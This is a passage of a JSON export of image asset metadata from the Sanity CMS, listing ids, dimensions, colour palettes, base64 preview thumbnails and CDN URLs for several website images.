{"_createdAt":"2022-06-30T20:00:19Z","_id":"image-677b8f2b019d0f59017d37e98baee0052f32cb2f-739x258-png","_rev":"4pG2it9AJU1nJxbjoLELy6","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:59:30Z","assetId":"677b8f2b019d0f59017d37e98baee0052f32cb2f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DGHS?5Y8p1tAXA0~#RsTt7sC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.864341085271318,"height":258,"width":739},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAACBklEQVQokU3Mz2vTYBgH8Fy8yHbQQ48e6n6lq6xlbnnXpMOlq3vSpGnf921JUgZdYYJgtaXMbp0TyyhjoBt0bT17UBR2GMimiAd/4NmLV/8GZ2nWdd2SSkYPHj58eb48fBmQH10kccYWRc30+eHgNjcXC0jYx0FiCgF1zCCgAgI6iYCOIqA3EdBb/T6IgE4goCwCOoKAXmMguWJn9HTPIKk2qPqnUIzcC0QIcJBQEFBAQCUEVEVA7/YHpvtj8wio83MHSZe3HwF1McGlqp1arvSWHmyf4uzzj+F0flGIYCEAiVleojwvUXSZQAUeSIAHMsUDmXQIQH1BiY4FJTo8K9EbCxIZZCYWX1sL+aNefOPbiVj4fOBL7Ua9osJ6Q3F2XFRHPaI65AnFhr1hzHrD2OMYD+MxNozd7nnscol48LqIBwbm8FVGiF9hwGicJXOHXW31ezORPXyfTW8ZdUPj9gwDVY0UqhkprqFp03WCuaoanWmoUe5VLOrfj0e9R1hhvxBl5CtRhn8QZehnQnYz+4VK+12x2nn7+GXrQ3Hn1+9S6U1z9WHtuJit/1nLNY5L+XqzcL/WzCRrf3W53tLkvY4u757r8ouuLu84zvrpdMzpdvm8vVW2TjY3rE7lafei8qRtlYum9WzFtDbXTKuyblrrOdNe1kzbkE1bj/RTNnuGI9L6j/kPFMHn4SDz9dMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#624639","foreground":"#fff","population":1.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#072090","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7584a","foreground":"#fff","population":14.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bca2be","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7584a","foreground":"#fff","population":14.99,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686c9d","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef5a0b","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"677b8f2b019d0f59017d37e98baee0052f32cb2f-739x258.png","path":"images/sczeoy4w/production/677b8f2b019d0f59017d37e98baee0052f32cb2f-739x258.png","sha1hash":"677b8f2b019d0f59017d37e98baee0052f32cb2f","size":119950,"uploadId":"q5YA2OgTExVHTJx7ZvCnTNYMeK55U6uL","url":"https://cdn.sanity.io/images/sczeoy4w/production/677b8f2b019d0f59017d37e98baee0052f32cb2f-739x258.png"} {"_createdAt":"2022-09-30T15:37:11Z","_id":"image-2d51dd225204ece7cd1502619c923c07ef28529b-1297x880-png","_rev":"8WeirZ6KB9gJqgJfvidO8v","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:53:40Z","assetId":"2d51dd225204ece7cd1502619c923c07ef28529b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V3RftdSPNG~qE200Rjxt%Lt600o#?G%2%L00IVxt%2ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4738636363636364,"height":880,"width":1297},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB8klEQVQ4jX2TvW4TQRDH7x0oaSkpQESKFBAvwHPwCAiJhgKJWA6io6MEgpTIkZDANhQ0FBBwUiDRIMV2kwJine9uv3fu/mjmfJGDzyl+t6Od3f/O1yX3XnzG3eefsNEZ4MbTD8L1J+9x9dEBrjzYx7XH77DZHWCzO8TN7b74b3X62OoOcefZR2zt1OvtnSE2On0kB8dT7I0m2P0+xpvDE+Hll9942DvC/VdfsT34idffTvB24d89HIu992OC3tFUYI3e8RT7owmSWWExyw1mucZZpsX+kxn8Op1jND3D+G+OVDlkxmNuvKzLpPoiibYO2lhoY6CMgbEWIUSESEIkAlG9NnZNCR8J2hEKx2sUEiViFtY6eO8RQkCMcekiC0c4587PsF8eiAQfItwC42MdIUfFFxqhsiwvwHveBznj+cGWM5EIthEslBascxJhm+gyVVWtECPBuEUN80IJnLpE4b1E0tA80iZULeCyKOtqQaW1wDVy3q/ivKR8mWgkjjAg0YYFjcAp/9+Q86ZIw+LalKms4AJxlwMKxXVkQe4ggbgRy1ApotzRSLxXrRCphGXBTAdkyiNjUeuhfVwPz9olvtwGJPzJeeo1/w0taIdUO8zX+Y2T+6xTsGCQ+QngAS+0WSFXBmmukRZa7LYzMh08DVTiH7sxHHJ4saICAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#045594","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#044c84","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#046aa6","foreground":"#fff","population":6.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b4c4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#98f0fc","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c949e","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#046aa6","foreground":"#fff","population":6.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2d51dd225204ece7cd1502619c923c07ef28529b-1297x880.png","path":"images/sczeoy4w/production/2d51dd225204ece7cd1502619c923c07ef28529b-1297x880.png","sha1hash":"2d51dd225204ece7cd1502619c923c07ef28529b","size":118497,"uploadId":"3EaUZaUZZxgICZVepuV1iT2VxDzJTDak","url":"https://cdn.sanity.io/images/sczeoy4w/production/2d51dd225204ece7cd1502619c923c07ef28529b-1297x880.png"} {"_createdAt":"2022-06-30T19:58:20Z","_id":"image-38a111f098a2731b69559efb8b1776fdd099d6aa-1100x680-png","_rev":"lf1jOsEAA7PAFZMZhZobHU","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:05:59Z","assetId":"38a111f098a2731b69559efb8b1776fdd099d6aa","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VYR3f^R.~RxtM~?Yt3IqM~WC-+j?E4j[xYNMNHt3xrxY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6176470588235294,"height":680,"width":1100},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABy0lEQVQokZ2SXWsTQRiF+9+EWtGrelEv/CeiIGhtaKBS0T+gtFSqLaneeiGJ+FERpVSDNm1abRv7EbM7uzOzM7OPzGw3Rgl+LZwdlvfl4cw5O5KmKXEcE0VRkP92zuGfPM//WSNZlpEkSYAKIVBKYa39L1jugf5ljEFrHU4P8w6dKxaMdRzFjo2O5eOeZb9rUZkLs3In/xXoASWoHJTLsXQ8fZ9Rfay4vixZXs046P0F0BjTd+ZlT5aPhWOuoblwK+FcVQTw9qH1AQ8HuhN3XplxHEaO5q5lbceyc+TY7Tru1jXjM4LRG4KpmqTtgeS4YRn67Hwx1hiEtNSbhsqK4tJ9yfwzzfpnw7265vxNwdiUoLIiaR/8xqExpriutfQSy8OXmou3E8YqgmtLktXWD+DpAWAZlRuWobWuD1x8oZmYTTg1Kbj6QPJqowCOzySMemDtDw6Bol034PCO4EwlDq2+bhnmGoqJWcHZ6ZjqIxlKyXNf4M/qOyztx6mh/kExXRNcXoiYb6Q0v2ierEkmlyKuLEQsPk/Z7xaZl3EN/r/BYQBai9KGr98069spb1uCrY6iJzL2jhXvNmPefIpodySJzDAmC2WWKqHfAUrTg/rtWd1mAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#083990","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#07327d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4484f4","foreground":"#fff","population":11.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbc1c2","foreground":"#000","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cccfc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c649c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4484f4","foreground":"#fff","population":11.83,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"38a111f098a2731b69559efb8b1776fdd099d6aa-1100x680.png","path":"images/sczeoy4w/production/38a111f098a2731b69559efb8b1776fdd099d6aa-1100x680.png","sha1hash":"38a111f098a2731b69559efb8b1776fdd099d6aa","size":15907,"uploadId":"9hkHBe5sph1NBtaRhbW1ima3v7TuzaAy","url":"https://cdn.sanity.io/images/sczeoy4w/production/38a111f098a2731b69559efb8b1776fdd099d6aa-1100x680.png"} {"_createdAt":"2022-09-01T15:45:12Z","_id":"image-82893597062374c680d26bd1f3171c04c43d4f06-2708x1771-png","_rev":"StyfnzRSyhTCbsBlPOI2vP","_type":"sanity.imageAsset","_updatedAt":"2022-09-16T10:48:09Z","altText":"Multicloud infrastructure as code","assetId":"82893597062374c680d26bd1f3171c04c43d4f06","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VWH2H100K4~q4Ts;jtR*bHsU9sR%$%n%NaNGWAsUofS1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5290796160361377,"height":1771,"width":2708},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAADzklEQVQ4jW2SbUxbZRiGnxY3YYzg1M1g1ETjBs5kr4l//GH8aYzLhpJhGCRbSIxsQgZsBSFbgfmVgexD2UYGBQK6kLRjGZW4EDcxtStf7elpR0v5aKGFQunX6Tnn7due022vaafxj3dyJ0+eH1ee584N8D/ClU0QP9ECW8cbwHPqPNDCD8H86z3o7hpQGE3mbVgU3xAwKZlfj1b95lirHJnzfnDf7c8/aLQDrKwIYLEEwWYLZ5yeKQBQVSfQL9QgD40CXdgEZsKkuH6lL4thHubGMf+REOOHF5YC7ITVa7rv8p9nNsOvV1MKoNID2CwSMDNJeGAIwLVrOqg53QpNtWp4bvg2UCgFengQbnJuRdvVgazFheWdWOTKoqGwddW1QZecG3gtwA1GEon9NA1M22GTwDqThEljCDSaMchvbgH9qVagFaeVicrmF5MVDYXx0to3V4tP5rttzlxCcCkXE8xeP/fY5+d5Xkz0yyn5rQzQ55XAauGeZa2xlyzm4G6t1rBdXdWQtU+lVjq/bM0njReKU43fd0nVLV/Hyuvfdd26myfJ0iciSRrdIZEw69EtR4DrXovy+x6lgUuuFLBW/hWW4cvMs6FDOp2xoP5kw87yunO5hqaO13BXX0tKM+iTu3on+bM/FDsHbj9PkokjohCfdq+GpSmHPzLlCfQ4Q9EiTRo4x0pgZ/lXWYY/apkNHxodNe+pq6rPKalpzp5qu1Ig/nKrUdKPOZK6O/e4y5qDjuGxFzARjwocz/o9Qbq6tIUDIWGQl5JPM7QxGOy2WDZr5QoYS2T3xB/L29rLjivS9Vk7ezEH37j5Pvl5pA73Dn8e/KarcH7ckCclyRERk9m1LeGRNyDEODHRJ8vS0wwBXoaVRQo282OY/CsK/f134eMzatDUtwGtqFNwqvac6Fedu7bOXNhlqW7NdticObKUPIwT0p/LQYGf8Yb9Vn/kqifM7fXRJwCflr4Hs1ObMG0UwWSIgU47BZ/VN0F343dAq9RAO4cgcX0k083Gfp3S6XTtIEQoEQXxgWclSGbm1oPTnsCN+RBX2Je+sKhoPxw7dgJ6ekZAPzoJ4+N2oOV1QFt+AlL7LcQ7eoG298KcbkzZe2kwy2m35wo4UiZEImzI5aMBhy8eDsWG+JT8duZlhJASIfQMQigLIaRACKV3Gac1NKQFvf53MJlmFJcu9intDJsrErGYxGLjeNnrJ8veRVkQL6fok73/ArMRQnkIoR3/QOHAgf+AWq0+48VFN9RUnwO79eF2TMg7SYxV8c3Aj3hjsyMhiGVElvekgX8DjFBj8CasD4YAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#38364f","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#620c1b","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e0c2d1","foreground":"#000","population":0.44,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e0c2d1","foreground":"#000","population":0.44,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#73def6","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6b69b2","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f03164","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"multicloud-infrastructure-as-code.png","path":"images/sczeoy4w/production/82893597062374c680d26bd1f3171c04c43d4f06-2708x1771.png","sha1hash":"82893597062374c680d26bd1f3171c04c43d4f06","size":129064,"title":null,"uploadId":"Nry8mN3zWeMhM45M8JHFGJ2GunZKm9E6","url":"https://cdn.sanity.io/images/sczeoy4w/production/82893597062374c680d26bd1f3171c04c43d4f06-2708x1771.png"} {"_createdAt":"2022-06-30T20:00:17Z","_id":"image-aeaeb093e2f18ac5203a1f2ba87bb1f3624e47a3-1058x314-png","_rev":"oP937kX6v07bcvrIPZSaMP","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:59:29Z","assetId":"aeaeb093e2f18ac5203a1f2ba87bb1f3624e47a3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DODbBj3q^nF{=Lw[niI-jYxH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.3694267515923566,"height":314,"width":1058},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB8UlEQVQYlQHmARn+ADdLWSs2U2gzN1dvOjhSZTQ4TFkdOUhTBzlJVQw4SVQkTEZbNHFDZzxyQ2Y5TUdaKzdJVBs7SVUIbzxnAGFAYQhrPmIocD5iQXI+Yip3PmIHAC5qmj85eKxzQYC0jESAsmhCeaYoQGCCBTRPTgRCQVoPmESCO7xKj3/DR4t3qUB5MENBVAsuWFYCwReIArguhCS+OIVsxzuEldE2f3LfLHsxACt2s4lYlMbLbqTQ52Kdz7xKjsdYOnqzDzhhAABjLW8GsESVQcFNmqPLSpWYzD6JNHUlVwQAqUABmyaAEbQtiWDFQ5TE11Ka7N9Fj8zgLYCFACRyr8JmnMjxirXY/22k0eZFisSANXWrHUZFNwVDQ2IImEGMJq5GlF23RZFWqz+CH0o/VggdXkwFiit8HqctioK7SJroz2Cl/9dNl+7XLYKzABVnp6M8gLbeVpLC90qMwtE3gLxqMnSqFUU8MQM1T18FYDxsCIE1fA+FN3sOYUBnBz9GWAUfW0gDgyp9E54sjGKtP5fFvU2c68ZAkszMLISGAAhdoFYRZKWuG2us1yJxsZomdbU2MHu5BEjJ/wAyaJIA/wD/AL86swDTS70AAAAAAGw4dAD/AP8AjCGHApkpjiihLo97qy+OrLQsioO/KIU2dX/A4qLpX38AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#324856","foreground":"#fff","population":0.64,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#880434","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e8267e","foreground":"#fff","population":1.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cc9ca4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec84cc","foreground":"#000","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b7494","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8267e","foreground":"#fff","population":1.44,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aeaeb093e2f18ac5203a1f2ba87bb1f3624e47a3-1058x314.png","path":"images/sczeoy4w/production/aeaeb093e2f18ac5203a1f2ba87bb1f3624e47a3-1058x314.png","sha1hash":"aeaeb093e2f18ac5203a1f2ba87bb1f3624e47a3","size":121303,"uploadId":"FXDH0oXcsiVolm1jbyNa72tQ32ISBJJS","url":"https://cdn.sanity.io/images/sczeoy4w/production/aeaeb093e2f18ac5203a1f2ba87bb1f3624e47a3-1058x314.png"} {"_createdAt":"2022-06-30T19:57:55Z","_id":"image-0049ed9c0a097451271ce91eaace3288be400c09-640x388-png","_rev":"CK1sLU2mnwa3vmbYWEbfvh","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:01Z","assetId":"0049ed9c0a097451271ce91eaace3288be400c09","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCNT%g4:00kX00~qjst7t7j[IUt7?bM{-;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6494845360824741,"height":388,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACLElEQVQokV3QT2zSUBzA8d6Ni0ZjjNEsMx6MF4/GmCGbzCWuJdFkifHg/Jusethll21AHWHA0Xgi3HA64kLMaB0DhCXMRDzO8a9gaRF8/NnaQqH8vyivEBc+h9/pffPe+yHOLcpJUp+9vtD38MFBJBaLRSKRaDQahxLxeCKRSEKpVIqm6Z/7+z/C4W97e6FQCJldWJxdWMQJ08YWFYnGlBM0TfeDZJJhGI7jMlAymfT7/Xa7/R2EXJt5cPXe/emXr9bdX0ChIJbLAiQOSJIkDxQKBZ/Xa7FYdDqdwWBArkxrx6YwzXPcue095AVJkiqVigRVq1VZllutVqfTabfbnU5HFMVgMPg/HrurHdVgk8/wj9RODuQBANls9g8EAOB5vl6vN5tNZYpD8eiU9pIGUz/F10nP72wuk8kwDJOGOI4rlUq1Wq3RaMiy3Gg0REEIBAIWs1m3skIYDMjFO9iFSVT1ZP69ezuTzSqxgmXZYrF4PBZ4/qvHs7b6Rre8bCAI5PwEek49c2tu3tGPOSadZllWuXk4PjryU9SaXq9bWiIIAjk7gZ1RozfncAe5k8v3AACKUKlUKpfLx/8sCELA57OYTP1nn1Zjp26jNx7jDsp3KIhyvac1oCy52+22od7CdnetVmt/YSMqdESFXn/44u2HTfoXAwAA+XwBgu/oU/afSqVIkjSbzf345Dh6Yhy9jD16vWrZ+LTphkiSVOYQl8tls9mMRqNer/8X/wXTAQyadX9nuAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a5355","foreground":"#fff","population":1.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#19414c","foreground":"#fff","population":14.78,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":17.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0c0c0","foreground":"#000","population":3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2fcfb","foreground":"#000","population":0.49,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":17.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fa4bf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0049ed9c0a097451271ce91eaace3288be400c09-640x388.png","path":"images/sczeoy4w/production/0049ed9c0a097451271ce91eaace3288be400c09-640x388.png","sha1hash":"0049ed9c0a097451271ce91eaace3288be400c09","size":36854,"uploadId":"3ooJzi019RnXyPUTy433viaJgXnCUHom","url":"https://cdn.sanity.io/images/sczeoy4w/production/0049ed9c0a097451271ce91eaace3288be400c09-640x388.png"} {"_createdAt":"2022-06-30T20:09:46Z","_id":"image-223c57e29a9416a043e0fe7b8826f5441ead1f16-1205x389-png","_rev":"cEPH2uRN58AU2lp9QO8AZN","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:27:07Z","assetId":"223c57e29a9416a043e0fe7b8826f5441ead1f16","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D7S?DU?bR.oysp_N$+nOIos;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.0976863753213366,"height":389,"width":1205},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA0ElEQVQYlVWR227EMAhE8///uQ9VtWrVJOYy4FmBk2r34YiL8YDNpiIUEboZM4Jz5huziQiqGUWF5zj4/ffk4/eLz/2n43EelHHQVLjBnXBjwJlxA2YG48LgFFOKCcUGTzm4j52nDqoJzWogJeBLMFrQmG9UDBi98UX4ldP/vMXK91mCm/sqjijALN+NcCVM26/c4moWRpTAB2i21RnE9TxEgSUe4CzgnG6crpwtejeomvigJyyRnMmck5nZSyh7L6f/FNZid4MWrCV23Wxb917FRNfAd1tPHQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#706f6f","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#246042","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#60c392","foreground":"#000","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4b4a4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cecc4","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b67981","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#60c392","foreground":"#000","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"223c57e29a9416a043e0fe7b8826f5441ead1f16-1205x389.png","path":"images/sczeoy4w/production/223c57e29a9416a043e0fe7b8826f5441ead1f16-1205x389.png","sha1hash":"223c57e29a9416a043e0fe7b8826f5441ead1f16","size":70325,"uploadId":"uHQOzaOWiH1W5SXLzFvjnmKw4ErJe1EJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/223c57e29a9416a043e0fe7b8826f5441ead1f16-1205x389.png"} {"_createdAt":"2022-06-30T20:00:29Z","_id":"image-5353838d005703ad72b60d947bd5ba3b1cc24828-1340x535-png","_rev":"CK1sLU2mnwa3vmbYWEd5H5","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:28Z","assetId":"5353838d005703ad72b60d947bd5ba3b1cc24828","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D6QJiw00000000.AXVXBS7o#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5046728971962615,"height":535,"width":1340},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABVElEQVQokW2QTUtCQRSGJ1qURmWEJVpZmyITUmnXItoULaKWLbRNUNEHgUEt3LVo2U/oHyVWSkbgj5B773zd6xtndOQqXniYO+ecec6ZYcn8CeKFUyztnuGy8ob6bwu+1tBaw/f9PkopcM7hum4Xz4MXwnEctNttsPj+PWJ7d1g8KOPi5R21ZssUCCEGpPQvBIfjOkYopTRNVA/aU0M2nT1CNHOIudwxzh9fUW38wOMuuBCmkGRBEBikknC5A849k7MNgyAwK0nZZGIdRCydRfHqAR+1LzMBTUkF4SmVkuCCm+mJcF5r3RVGUluIJDOYXc2heF1Gtfbdu7IceEM6EL5iGN3LdYXLOUyktjGztoPSzRM+681+106nY7BXoniY4RhJ2Xgii7GFDKbSBZRun1Fv/oE+KxuW2vcclTdCFt8Em99AdCVvhI0RQru3QhuzcbuS8B+liSikTtJiyQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#374252","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041429","foreground":"#fff","population":8.6,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#041429","foreground":"#fff","population":8.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4c4","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ccfcac","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#455e78","foreground":"#fff","population":0.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d84887","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5353838d005703ad72b60d947bd5ba3b1cc24828-1340x535.png","path":"images/sczeoy4w/production/5353838d005703ad72b60d947bd5ba3b1cc24828-1340x535.png","sha1hash":"5353838d005703ad72b60d947bd5ba3b1cc24828","size":66417,"uploadId":"wUecgeJQrIgQdHMpr7yxzyF9Ibb250bk","url":"https://cdn.sanity.io/images/sczeoy4w/production/5353838d005703ad72b60d947bd5ba3b1cc24828-1340x535.png"} {"_createdAt":"2022-06-30T20:10:55Z","_id":"image-e2df684e3fd8db097482381a6c417a3d7ce6c991-425x567-jpg","_rev":"CK1sLU2mnwa3vmbYWEeGmQ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:33Z","assetId":"e2df684e3fd8db097482381a6c417a3d7ce6c991","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dFFhSHF|18pK}?Egm-XnT0IT,,x[IasAx?-oI,$Nn#s*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7495590828924162,"height":567,"width":425},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAbABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUCBAYD/8QAJBAAAgEEAQQCAwAAAAAAAAAAAQIDAAQFERIGISIxB0ETFDL/xAAWAQEBAQAAAAAAAAAAAAAAAAAEBQP/xAAhEQABAwQCAwEAAAAAAAAAAAABAAMEAhESIWGRBUHhsf/aAAwDAQACEQMRAD8AyEWPfPdbyQYp5TAse25t4jdbrpnHYiwtJzcITKu0Uc/evusv0ehwByV5d7SJYucRY93bX81RvMtIvRaZZVZbuS5KsoOwqUSZUGJGFAsLgAHlMjguM5Ob1sjhTu7kSXMrRppSx0OJNFKML8gfo2IglHkGJ7KDRWZjVX3+fVbo8lHxGh38TbPXf5sZwJ9sO1JrGzJuY7eVZTalOTKd8Q1MLvwhuCoAJiI9bqnj725PCIzOY2A2CfdUXac3MjwoUeWWWS2PYI7XS4wFk8pK2ykfWjqinCElRuitjYoIX//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#784c39","foreground":"#fff","population":6.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#761219","foreground":"#fff","population":2.66,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#784c39","foreground":"#fff","population":6.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9f917f","foreground":"#fff","population":3.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch